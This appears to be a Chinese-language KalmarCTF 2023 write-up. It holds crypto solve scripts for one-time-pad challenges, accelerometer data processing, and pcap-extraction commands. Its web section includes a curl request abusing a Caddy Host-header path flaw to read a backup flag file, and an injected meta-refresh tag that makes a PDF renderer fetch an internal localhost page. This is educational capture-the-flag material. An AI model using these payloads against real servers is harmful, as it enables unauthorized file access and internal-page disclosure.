2023kalmarctf复现

2023kalmarctf

crypto

BabyOneTimePad

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3

import os

PASS_LENGTH_BYTES = 128

def encrypt_otp(cleartext, key = os.urandom(PASS_LENGTH_BYTES)):
ciphertext = bytes([key[i % len(key)] ^ x for i,x in enumerate(cleartext.hex().encode())])
return ciphertext, key


if __name__ == '__main__':
print('According to Wikipedia:')
print('"In cryptography, the one-time pad (OTP) is an encryption technique that cannot be cracked, but requires the use of a single-use pre-shared key that is not smaller than the message being sent."')
print('So have fun trying to figure out my password!')
password = os.urandom(PASS_LENGTH_BYTES)

enc, _ = encrypt_otp(password)
print(f'Here is my password encrypted with a one-time pad: {enc.hex()}')
print('Actually, I will give you my password encrypted another time.')
print('This time you are allowed to permute the password first')
permutation = input('Permutation: ')
try:
permutation = [int(x) for x in permutation.strip().split(',')]
assert set(permutation) == set(range(PASS_LENGTH_BYTES))
enc, _ = encrypt_otp(bytes([password[permutation[i]] for i in range(PASS_LENGTH_BYTES)]))
print(f'Here is the permuted password encrypted with another one-time pad: {enc.hex()}')
except:
print('Something went wrong!')
exit(1)
password_guess = input('What is my password: ')
try:
password_guess = bytes.fromhex(password_guess)
except:
print('Something went wrong!')
exit(1)
if password_guess == password:
with open('flag.txt', 'r') as f:
flag = f.read()
print(f'The flag is {flag}')
else:
print('Nope.')

整个代码就是需要猜出password,第一次给出与key的异或结果,第二次我们可以控制password的置换位置结果,只要是permutation包含0-127的数字都存在就行,也就是说可以传入前面全部都是0,后面是1-127使得传入的password都是第一个字节,那么思路上面很简单。

那么只要恢复key和由key以及密文就可以解出明文

1
2
3
def encrypt_otp(cleartext, key = os.urandom(PASS_LENGTH_BYTES)):
ciphertext = bytes([key[i % len(key)] ^ x for i,x in enumerate(cleartext.hex().encode())])
return ciphertext, key

这个函数就是加密函数

那么如果我们知道cleartext,那么就可以知道key,因为

1
encrypt_otp(t,c2)==key*2 # 其中t是password第一个字节*128,c2是第二次加密密文

然后写出解密函数(假如知道key 的情况下面)

1
2
3
4
def decrypt_otp(ciphertext, key):
cleartext = bytes([key[i % len(key)] ^ x for i,x in enumerate(ciphertext)])
cleartext = bytes.fromhex(cleartext.decode())
return cleartext

这时候我们只要通过爆破password的第一个字节,产生的key尝试去解出password就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
c1='35514e2c9d23bc0e0659b606173b5b4073985fa90e9aefe75b28fbaa0e8f7730ba242b9236b9fd58f65d4de7ce0c07befa8c14c8bd66035e1e26ddeb16ceae53741d18a15814e1b8cdc1fd4a932dd9ff792579a872864e98b56958a8f236a6f191e54d459a6430435cc11080fda483cb1ba5672ab5d6d96411b9c6c78d15988330011b7c9a29ba0b030eb151176a091579cf59aa5dccebe25a2caeab0f8e706cbf777e9737eda103a10c46e6990b5fbba88b15cae736570e1b7f8cbc47cbab05754d1ef70449b3b8c995fe1d932989ab7d7722a572861c9be2385efdf06df8aa99b71a17c833374f5ccf14d4a8f9869f43f53621e4d9d93246b09492df159fdb'
c2='35514f2c9e29ba0d0009e003106b5a4572985cfc5ecfb8e10b2af9af0889763bbd212ec033bdf709f10f4ce1cf5a54ebad8d1ecaed3404091974dae940ceac05724d48f40f43e4eac897fc4b992c88aa797229a370d61d9ce16d5cfef73daca192e51a12983467440ac51282fef2839c48a33021e4d3d86012bb95c0da409f8935514f2c9e29ba0d0009e003106b5a4572985cfc5ecfb8e10b2af9af0889763bbd212ec033bdf709f10f4ce1cf5a54ebad8d1ecaed3404091974dae940ceac05724d48f40f43e4eac897fc4b992c88aa797229a370d61d9ce16d5cfef73daca192e51a12983467440ac51282fef2839c48a33021e4d3d86012bb95c0da409f89'
c1=bytes.fromhex(c1)
c2=bytes.fromhex(c2)
def encrypt_otp(cleartext, key):
ciphertext = bytes([key[i % len(key)] ^ x for i,x in enumerate(cleartext.hex().encode())])
return ciphertext

def decrypt_otp(ciphertext, key):
cleartext = bytes([key[i % len(key)] ^ x for i,x in enumerate(ciphertext)])
cleartext = bytes.fromhex(cleartext.decode())
return cleartext.hex()
key= b'\x07b}\x1f\xac\x1a\x88>2:\xd20"Xhv@\xabn\xcfl\xfc\x8a\xd29\x19\xcb\x9c:\xbaD\x08\x8f\x12\x1c\xf3\x01\x8e\xc5:\xc3<~\xd2\xfdif\xd8\x9f\xbe,\xf9\xdf\x076:+G\xe8\xdar\xfd\x9e6@~z\xc7=p\xd6\xd9\xfa\xa4\xcex\xab\x1f\xba\x99KA\x1b\x90B\xe5/\xaf\xd3^n\xcd\xc5\x0e\x9e\x92\xa0\xd6(!\xaa\x07Uw8\xf6 \xb1\xcc\xc1\xb1\xafz\x90\x02\x12\xd6\xe0\xeaS \x88\xa7\xf3\xe8s\xad\xba'
ciphertext= b'5QO,\x9e)\xba\r\x00\t\xe0\x03\x10kZEr\x98\\\xfc^\xcf\xb8\xe1\x0b*\xf9\xaf\x08\x89v;\xbd!.\xc03\xbd\xf7\t\xf1\x0fL\xe1\xcfZT\xeb\xad\x8d\x1e\xca\xed4\x04\t\x19t\xda\xe9@\xce\xac\x05rMH\xf4\x0fC\xe4\xea\xc8\x97\xfcK\x99,\x88\xaayr)\xa3p\xd6\x1d\x9c\xe1m\\\xfe\xf7=\xac\xa1\x92\xe5\x1a\x12\x984gD\n\xc5\x12\x82\xfe\xf2\x83\x9cH\xa30!\xe4\xd3\xd8`\x12\xbb\x95\xc0\xda@\x9f\x895QO,\x9e)\xba\r\x00\t\xe0\x03\x10kZEr\x98\\\xfc^\xcf\xb8\xe1\x0b*\xf9\xaf\x08\x89v;\xbd!.\xc03\xbd\xf7\t\xf1\x0fL\xe1\xcfZT\xeb\xad\x8d\x1e\xca\xed4\x04\t\x19t\xda\xe9@\xce\xac\x05rMH\xf4\x0fC\xe4\xea\xc8\x97\xfcK\x99,\x88\xaayr)\xa3p\xd6\x1d\x9c\xe1m\\\xfe\xf7=\xac\xa1\x92\xe5\x1a\x12\x984gD\n\xc5\x12\x82\xfe\xf2\x83\x9cH\xa30!\xe4\xd3\xd8`\x12\xbb\x95\xc0\xda@\x9f\x89'
Permutation: 0,.....0,1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127
# print(encrypt_otp(t,c2)==key*2)
for i in range(256):
s=chr(i).encode()*128
key=encrypt_otp(s,c2)
try:
decrypt_otp(c1,key)
print(chr(i))
print(bytes.fromhex(decrypt_otp(c1,key)))
except:
continue

password = b'\x233\x19@L\xd6\\63\x1f\xbf\xe5\xb1\x06E8Vzw\x8bZ5>\xaf\xe2\x81\xba]ZQ\xd3\x0eL\xbf\xedz~2\x82\xcf-\xb8\x0c\xa7\xf7nx\x8c\x13\xed\x0c\xe4\xd7\x01\x1e-\xa5\xe8\xc67\x11\xa4\xefY|\xfcc%\x14\xcaR\xac\x9d~\x10\xa0\xc5\xe7TM\x0e\xbdl\xd9\xb0\x84\xdb\x9cu\x93\x81\xa4\x08\xdfVSS\xd0\x99\xea1\x0e\x862f\x95\x0c4\x1f\x00\\\xf8\x9a&\xb4\xb8\xd9N\xd8p\x9eC):\xf8:\x7f*'

那么就可以解出password了

注意:

1
for i,x in enumerate(cleartext.hex().encode())

会导致加密的长度发生变化

另外就是Permutation的零的个数问题,可能当时传少了,导致本地数据打通了,一打远程就炸。

还有就是如果利用pwntools打远程的话会导致try失效,所以本地跑脚本会让在解密出现不是utf-8编码的时候返回error,这样才能解密(大概是我的问题???)

EasyOneTimePad

在上一题的基础上,修复了非预期。

1
2
assert len(permutation) == PASS_LENGTH_BYTES #确保长度
key = os.urandom(PASS_LENGTH_BYTES) #保证两次使用了不一样的密钥

那么,整个计算采用了两次密钥参与计算,计算上只是简单的异或,那么可以使用sage的多项式环解线性方程,或者使用z3约束求解(主要只是异或操作,容易求解)

KalmarCTF 2023 WriteUps | 廢文集中區 (maple3142.net)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def encrypt_otp_z3(pt_hex, key):
ciphertext = [key[i % len(key)] ^ x for i, x in enumerate(pt_hex)]
return ciphertext, key

def solve(ct1, ct2):
sol = Solver()
pt_hex_sym = [BitVec(f"pt_hex_{i}", 8) for i in range(PASS_LENGTH_BYTES * 2)]
for x in pt_hex_sym:
sol.add(Or([x == t for t in b"0123456789abcdef"]))
pt_sym = [(x, y) for x, y in zip(pt_hex_sym[::2], pt_hex_sym[1::2])]
pt2_sym = [pt_sym[perm[i]] for i in range(PASS_LENGTH_BYTES)]
pt2_hex_sym = sum([list(x) for x in pt2_sym], [])
key_sym = [BitVec(f"key_{i}", 8) for i in range(PASS_LENGTH_BYTES)]
enc_sym, _ = encrypt_otp_z3(pt_hex_sym, key_sym)
for x, y in zip(ct1, enc_sym):
sol.add(x == y)
enc2_sym, _ = encrypt_otp_z3(pt2_hex_sym, key_sym)
for x, y in zip(ct2, enc2_sym):
sol.add(x == y)
assert sol.check() == sat
m = sol.model()
pt_hex = [m[x].as_long() for x in pt_hex_sym]
pwd = bytes.fromhex("".join([f"{x:02x}" for x in pt_hex])).decode()
return pwd
1
2
3
pt_hex_sym = [BitVec(f"pt_hex_{i}", 8) for i in range(PASS_LENGTH_BYTES * 2)]
for x in pt_hex_sym:
sol.add(Or([x == t for t in b"0123456789abcdef"]))

确保明文是16进制数

1
2
3
pt_sym = [(x, y) for x, y in zip(pt_hex_sym[::2], pt_hex_sym[1::2])] #合并形成两个16字节
pt2_sym = [pt_sym[perm[i]] for i in range(PASS_LENGTH_BYTES)] #第二次加密密文的置换
pt2_hex_sym = sum([list(x) for x in pt2_sym], []) #将字节转化为列表,相当分离16进制的两位

然后添加条件,加密和密文相同

解出结果

1
m[x].as_long()

这个代码片段是在求解器的模型 m 中获取一个符号变量 x 的具体值。m[x] 表示 x 在模型中的值,它是一个 BitVecRef 对象,表示一个二进制位向量。而 as_long() 方法则将这个二进制位向量转换为对应的整数值。

然后转为16进制就行了

官方解法:kalmarctf-2023/solve.py at main · kalmarunionenctf/kalmarctf-2023 (github.com)

1
2
3
4
官方的思想是,利用阶为2的环解线性方程组
但是一组密文没有办法解出,因为构成的矩阵不是满秩的
利用置换构造,将矩阵填成满秩的,假设知道一个字节,解出全部的明文,并且确保在16进制内即可
并且解法上使用16进制高位和低位分别爆破

本地调试:

1
remote = pwnlib.tubes.process.process('./challenge.py')

misc

kalmarunionen-fun

题目给出了传感器的xyz轴的加速度。

这题属实是从来没有涉及过的

那么就简单跟着官方wp学习一下数据处理就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import sys

fname = sys.argv[1]

prefix = ""
if len(sys.argv)>2:
prefix = sys.argv[2]

f=open(fname)
d=f.readlines()
f.close()

xarr = []
yarr = []
m = len(d)
for line in d:
datatuple = eval(line)
xarr.append(datatuple[0])
yarr.append(datatuple[1])

marr = [abs(x)+abs(y) for x,y in zip(xarr,yarr)]
darr = [1 if x>1.3 else 0 for x in marr]
conseq0 = 0
conseq1 = 0
curlvl = 0
signnum = 0
lvlarr = []
lastlvlchange = 0

for i in range(len(darr)):
if darr[i]==0:
conseq0 += 1
conseq1 = 0
elif darr[i]==1:
conseq1 += 1
conseq0 = 0
if conseq0>=4 and curlvl==1 and (i-lastlvlchange)>23:
curlvl = 0
signnum += 1
print("Symbol " + str(signnum) + " length " + str(i-lastlvlchange) + " from " + str(lastlvlchange) + " to " + str(i))
g=open(prefix + "-" + str(signnum) + ".txt", "w")
for x in zip(xarr[lastlvlchange:i], yarr[lastlvlchange:i]):
g.write(str(x) + "\n")
g.close()
lastlvlchange = i
elif conseq1>=4 and curlvl==0:
curlvl = 1
#signnum += 1
lvlarr.append(signnum)

整个传感器的加速度由于现实上的测量无法做到平稳,需要一定的时间的数据才能认定该方向上的数据成立

将x,y的加速度提取出来。使用darr储存。跟踪conseq0和conseq1变量中零和一的连续运行长度。如果检测到至少4个时间步长的零运行,并且信号电平当前很高(curlvl=1),并且距离检测到最后一个符号已经有足够的时间((i-lastlvlchange)>23),脚本假定一个符号刚刚结束并开始一个新符号。它增加signnum变量以跟踪到目前为止检测到的符号数量,并打印出有关刚刚结束的符号的长度和时间的信息。它还将与该符号对应的加速度计数据写入一个新文件,该文件的名称基于命令行上提供的前缀。 如果检测到至少4个时间步长的运行,并且信号电平当前为低(curlvl=0),则脚本假定新符号刚刚开始并将curlvl设置为1。

之后的就是通过噪声定位物体https://github.com/balzer82/Kalman/blob/master/Kalman-Filter-CA.ipynb

来生成过滤脚本,画出二维,记录最大的x和最小的x,如果之间的差距过大,记为0,否则记为1,然后转ascii即可

ps:前五个数据不要,本来手动跑的,预判第一个字符是k,但是复现出不来还怀疑是我的问题

WeirdTable

forensic

lleHSyniT!

1
2
strings proc.dmp  | grep -i kalmar
password:kalmar{My_F4v0r1t3_G4m3_1s_Cobalt_Strike:gL0b4l_0p3r4t0rs}

cards

tcp 79流之后提取出字符

1
for i in {79..157}; do tshark -r cards.pcap -qz follow,tcp,raw,$i | awk '{a[NR]=$0}END{gsub(/^[ \t]+|[ \t]+$/, "", a[NR-1]); printf "%s ", a[NR-1]}' >> output.txt;done

解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
tshark -r cards.pcap -qz follow,tcp,raw,$i
这个命令用于从PCAP文件中读取网络数据包并显示特定的TCP流的原始数据。

其中,-r选项指定要读取的PCAP文件,-q选项指定使用“quiet”模式,即只输出所需的内容。
-z选项指定要执行的协议分析器并指定相关选项,这里使用了follow,tcp,raw选项来表示要跟踪TCP流并输出其原始数据。

$i表示要跟踪的TCP流的编号,利用bash循环得到79-157的tcp流

具体来说,follow,tcp,raw选项将会对每个TCP流分别执行以下操作:
以ASCII码形式显示TCP流的起始和结束时间,源地址和目的地址,以及TCP端口号。
显示TCP流的原始数据(以十六进制和ASCII码形式显示)。

如果只是需要原始数据,使用tshark -r cards.pcap -T fields -e data
1
2
3
4
5
6
7
awk '{a[NR]=$0}END{gsub(/^[ \t]+|[ \t]+$/, "", a[NR-1]); printf "%s ", a[NR-1]}'
1. awk:启动 AWK 解释器。
2. '{}':包含 AWK 程序,其中单引号确保 shell 不解释程序。
3. a[NR]=$0:创建一个名为 a 的数组,并将当前行的值($0)分配给数组中具有当前行号(NR)的元素。这意味着输入的第一行将存储在 a[1] 中,第二行将存储在 a[2] 中,依此类推。
4. END{}:表示在读取完所有输入行后执行的代码块。
5. gsub(/^[ \t]+|[ \t]+$/, "", a[NR-1]):使用 gsub() 函数从输入的倒数第二行(a[NR-1])全局替换所有开头和结尾的空格字符为空字符串。正则表达式 /^[ \t]+|[ \t]+$/ 匹配字符串开头 (^) 或结尾 ($) 处的一个或多个空格或制表符 ([ \t]+)。gsub() 函数返回进行的替换次数,但此命令未使用此值。
6. printf "%s ", a[NR-1]:使用 printf() 函数打印修改后的输入的倒数第二行(a[NR-1]),并附加一个空格字符 (" ")。%s 格式说明符指定要打印的字符串参数,这种情况下为修改后的倒数第二行。

因此,这个 AWK 命令基本上逐行读取输入,将每行存储在一个数组中,从输入的倒数第二行中删除开头和结尾的空格字符,然后打印修改后的倒数第二行,并带有一个空格字符。

打乱的字符通过长度为135的ftp获得cwd目录顺序

1
tshark -r cards.pcap -Y "frame.len == 135 and ftp.current-working-directory" -T fields -e ftp.current-working-directory
  1. tshark:启动 tshark 工具。
  2. -r cards.pcap:指定要读取的 pcap 文件的路径和名称。
  3. -Y "frame.len == 135 and ftp.current-working-directory":使用 Wireshark 显示过滤器语法来筛选符合条件的数据包。frame.len == 135 表示数据包长度为 135,这是某些 FTP 客户端发送 PWD 命令时的预期长度。ftp.current-working-directory 表示匹配包含 FTP 工作目录的数据包。
  4. -T fields:指定输出格式为字段形式。
  5. -e ftp.current-working-directory:指定要提取的字段,这里是 FTP 工作目录。

写脚本重排就行了

1
2
3
4
5
6
7
8
9
10
11
12
m = 'm_tfwr_flf_3eccaykdw_hhuhrld{erae\n_onsuo}04afr__ar_u1ut_ksffklas_hsce33f_e3p_hn'

s = [345, 377, 378, 385, 387, 404, 368, 352, 354, 361, 383, 413, 355, 381, 397, 403, 369, 382, 400, 418, 386, 408, 388,
409, 358, 399, 412, 414, 348, 363, 347, 366, 405, 420, 364, 370, 416, 357, 359, 384, 419, 417, 380, 346, 353, 390,
392, 406, 343, 379, 396, 371, 362, 351, 393, 372, 373, 407, 411, 410, 342, 344, 398, 401, 356, 394, 349, 365, 391,
375, 395, 360, 402, 389, 374, 376, 415, 350, 367]

cwd = [i - min(s) for i in s]
print(cwd)
for i in range(79):
j=cwd.index(i)
print(m[j],end='')

sewing-waste-and-agriculture-leftovers

1
tshark -2 -r swaal.pcap -R "udp.port==9999" -T fields -e data | tr -d '\n' | fold -w 120 | while read l; do echo "$l" | xxd -r -p | tr -d '\n'; echo; done > raw_bytes.txt
  1. -R "udp.port==9999":使用 Wireshark 显示过滤器语法来筛选符合条件的数据包。这里表示仅提取 UDP 端口为 9999 的数据包。
  2. -T fields:指定输出格式为字段形式。
  3. -e data:指定要提取的字段,这里是 UDP 数据包的数据字段。
  4. tr -d '\n':使用 tr 命令删除输出中的所有换行符,以便将所有提取的数据合并到一行中。
  5. fold -w 120:使用 fold 命令将长行分成每行 120 个字符。这样做是为了在输出中使数据更易读。
  6. while read l; do:使用 while 循环读取每个行,并将其存储在变量 l 中。
  7. echo "$l" | xxd -r -p:使用 xxd 命令将十六进制字符串转换为原始字节。
  8. tr -d '\n':使用 tr 命令删除输出中的所有换行符,以便将所有字节合并到一行中。
  9. echo:使用 echo 命令输出一个换行符,以便将每行输出到不同的行中。
  10. done > raw_bytes.txt:将输出重定向到文件 raw_bytes.txt 中。
1
for i in {1..58}; do cat raw_bytes.txt | cut -b "$i" | sort -u | tr -d '\n'; done; echo
  1. cut -b "$i":使用 cut 命令提取一个字符串的第 i 个字节。
  2. sort -u:使用 sort 命令对提取的字节进行排序并去重。-u 选项告诉 sort 命令只输出不同的行。
  3. tr -d '\n':使用 tr 命令删除输出中的所有换行符,以便将所有去重的字节合并到一行中。

web

caddy

docker文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
version: '3.7'

services:
caddy:
image: caddy:2.4.5-alpine
restart: unless-stopped
ports:
- "80:80"
- "443:443"
volumes:
- ./files/Caddyfile:/etc/caddy/Caddyfile:ro
- ./files:/srv
- caddy_data:/data
- caddy_config:/config
command: sh -c "apk add --update openssl nss-tools && rm -rf /var/cache/apk/ && openssl req -x509 -batch -newkey rsa:2048 -nodes -keyout /etc/ssl/private/caddy.key -days 365 -out /etc/ssl/certs/caddy.pem -subj '/C=DK/O=Kalmarunionen/CN=*.caddy.chal-kalmarc.tf' && mkdir -p backups/ && cp -r *.caddy.chal-kalmarc.tf backups/ && rm php.caddy.chal-kalmarc.tf/flag.txt && sleep 1 && caddy run"

volumes:
caddy_data:
external: true
caddy_config:

其中将flag复制到backups,删除了flag.txt

1
2
3
4
command: 指定在启动容器时要运行的命令。它使用"sh -c"运行一系列命令。
首先使用"apk add"命令安装一些必要的包,然后使用"openssl req"命令生成自签名证书,并将其复制到指定的位置。
接着,它创建一个名为"backups"的目录,并将所有以".caddy.chal-kalmarc.tf"结尾的文件夹复制到该目录中。
然后,它从"php.caddy.chal-kalmarc.tf"目录中删除"flag.txt"文件,并在1秒后启动Caddy服务。

php.caddy.chal-kalmarc.tf/flag.txt已经被删除,那么就是要访问到备份文件/backups/..../flag.txt,

根据https://github.com/caddyserver/caddy/pull/4407

也就是说存在可以访问/backups/…/flag.txt的方法,只需要抓包修改url访问//flag.txt和host为/backups/php.caddy.chal-kalmarc.tf即可

1
curl --path-as-is -k --resolve php.caddy.kalmarc.tf:443:172.18.0.1 http://php.caddy.kalmarc.tf//flag.txt -H 'Host: backups/php.caddy.kalmarc.tf'

Invoiced

1
2
3
4
5
6
7
8
9
10
11
12
13
用meta来重定向..... 学习了

http-equiv:定义与 HTTP 头部一起使用的名称。如果网页从 Web 服务器传送,则该属性会被忽略。
http-equiv 是 <meta> 标签中的一个可选属性,用于模拟 HTTP 头信息中的一些属性。当 http-equiv 属性被设置时,content 属性必须也被设置,以提供额外的信息。
http-equiv 属性通常用于控制页面的缓存、重定向、字符集、XSS保护等行为。以下是一些常用的 http-equiv 属性:
content-language:指定文档的语言,如 <meta http-equiv="content-language" content="zh-CN"> 表示页面使用简体中文语言。
expires:指定网页的到期时间,如 <meta http-equiv="expires" content="Tue, 01 Jan 2030 00:00:00 GMT"> 表示网页的到期时间是 2030 年 1 月 1 日。
refresh:指定网页的刷新时间和重定向地址,如 <meta http-equiv="refresh" content="5;URL=http://www.example.com/"> 表示网页将在 5 秒后自动刷新并重定向到 http://www.example.com/。
content-type:指定网页的 MIME 类型和字符集,如 <meta http-equiv="content-type" content="text/html;charset=UTF-8"> 表示网页是 HTML 格式,并使用 UTF-8 字符集。
X-UA-Compatible:指定浏览器的兼容模式,如 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 表示强制使用最新的 IE 内核。


address=asd&discount=FREEZTUFSSZ1412&email=8870%40qq.com&name=<meta http-equiv="refresh" content="0; url=http://127.0.0.1:5000/orders">&phone=1